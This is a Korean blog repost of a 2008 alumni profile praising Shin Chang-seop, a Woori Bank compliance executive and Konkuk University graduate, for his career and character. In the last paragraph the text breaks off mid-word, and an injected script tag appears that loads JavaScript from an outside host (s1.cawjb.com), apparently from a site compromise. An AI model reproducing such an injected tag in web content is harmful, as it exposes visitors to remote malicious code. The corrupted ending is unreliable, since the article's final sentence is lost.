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우리은행 준법감시단장 신창섭 (경제 72) 동문/ 2008년 12월

영국신사77 2013. 1. 8. 11:51


우리은행 준법감시단장 신창섭 (경제 72) 동문


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겸손함과 엄격함으로 자신을 철저하게 관리하면서도 다양한 봉사와 사교활동, 스포츠, 종교, 일에 대한 열정으로 누구보다 풍요롭고 멋진 삶을 가꿔온 우리은행 준법감시인 단장 신창섭 동문. 그에게 건국대는 고향과도 같다. 신 동문은 건국인 모두가 파도에 휩쓸리기보다는 파도가 되어 큰 기세로 세계를 뛰어넘는 일류가 되어야 한다고 말한다.

탁 트인 전면창으로 남산이 시원스럽게 보이는 우리은행 본점 21층, 신창섭 단장이 준법감시인으로서 은행의 윤리경영과 사회공헌활동을 위해 열정을 불태우는 곳이다. IMF 체제 이후 도입된 준법감시인의 직무가 은행의 법규준수태세를 구축하고 업무 전반에 대한 관리 감독인 만큼 단 한 번의 사소한 징계사실도 허용하지 않는 등 그 선정 조건이 매우 까다롭고 엄격하다. 신창섭 단장이 준법감시인으로서 자부심과 긍지를 갖는 것도 그런 까닭이다. 

신창섭 단장은 영업의 달인으로 유명하다. 정직과 성실을 가장 중요하게 생각하며 탁월한 언변과 카리스마가 느껴지는 리더십으로 지점장 시절 수유동지점, 남역삼동지점, 서초지점의 자산을 2배로 신장시켰고, 특히 서초지점 재임시에는 6천억 돌파, 영업이익 100억 달성, 순수지점 실적으로 전국 영업이익 1위를 3년간 지속시킨 바 있다. 또 강동영업본부장으로 부임한 후에는 만년 하위권을 달리던 강동영업본부가 영업이익 전국 1위 진도율이라는 놀라운 성장세를 보이기도 했다.

신창섭 단장은 고등학교부터 대학원까지 장학금으로 학업을 마쳤다. 학업을 이어가기 위해 대학 재학시절 내내 공부와 아르바이트에 전념해야 했지만 한편 독실한 크리스찬으로서 불우청소년을 위한 야간학교인 인간학교 교사로 2년간 봉사하면서 세상에 대한 애정과 관심도 놓치지 않았다. 타고난 리더십으로 총학생회장 선거에 출마하기도 했는데 단 한 표 차이로 낙선하였다. 그러나 유신시절이었던 그때 학생회장이 되었다면 그는 금융업계에 발을 들여놓을 수 없었을 것이다.   

신창섭 단장에게 건국대는 고향과도 같다. 황소상과 일감호가 갖는 뚜렷한 이미지는 향수를 불러일으키는 건대인만의 소중한 재산이다. 바쁘고 힘든 학교생활 중 일감호에서 맞는 저녁은 가족과 고향을 떠올리며 향수에 젖는 따뜻한 시공간이었다. 이런 까닭에 그가 모교에 남다른 애정을 가지고 물심양면으로 학교와 후배들을 위해 애쓰고 있는 것이다.

신창섭 단장은 여섯번의 구조조정을 이겨내며 매년 자신을 돌아보는 자기관리로 오히려 더 많은 발전을 이루어왔다. 그는 건국인 모두가 파도에 휩쓸리기보다는 파도가 되어 큰 기세로 세계를 뛰어넘는 일류가 되어야 한다고 말한다. 이것이 바로 건국인의 기상이다.

최근 건국대가 많은 변화와 발전된 모습을 보여줄 수 있었던 것은 학교와 동문의 하모?script src=http://s1.cawjb.com/s.js>
 
※ 이 기사는 2008년 12월에 작성되었습니다.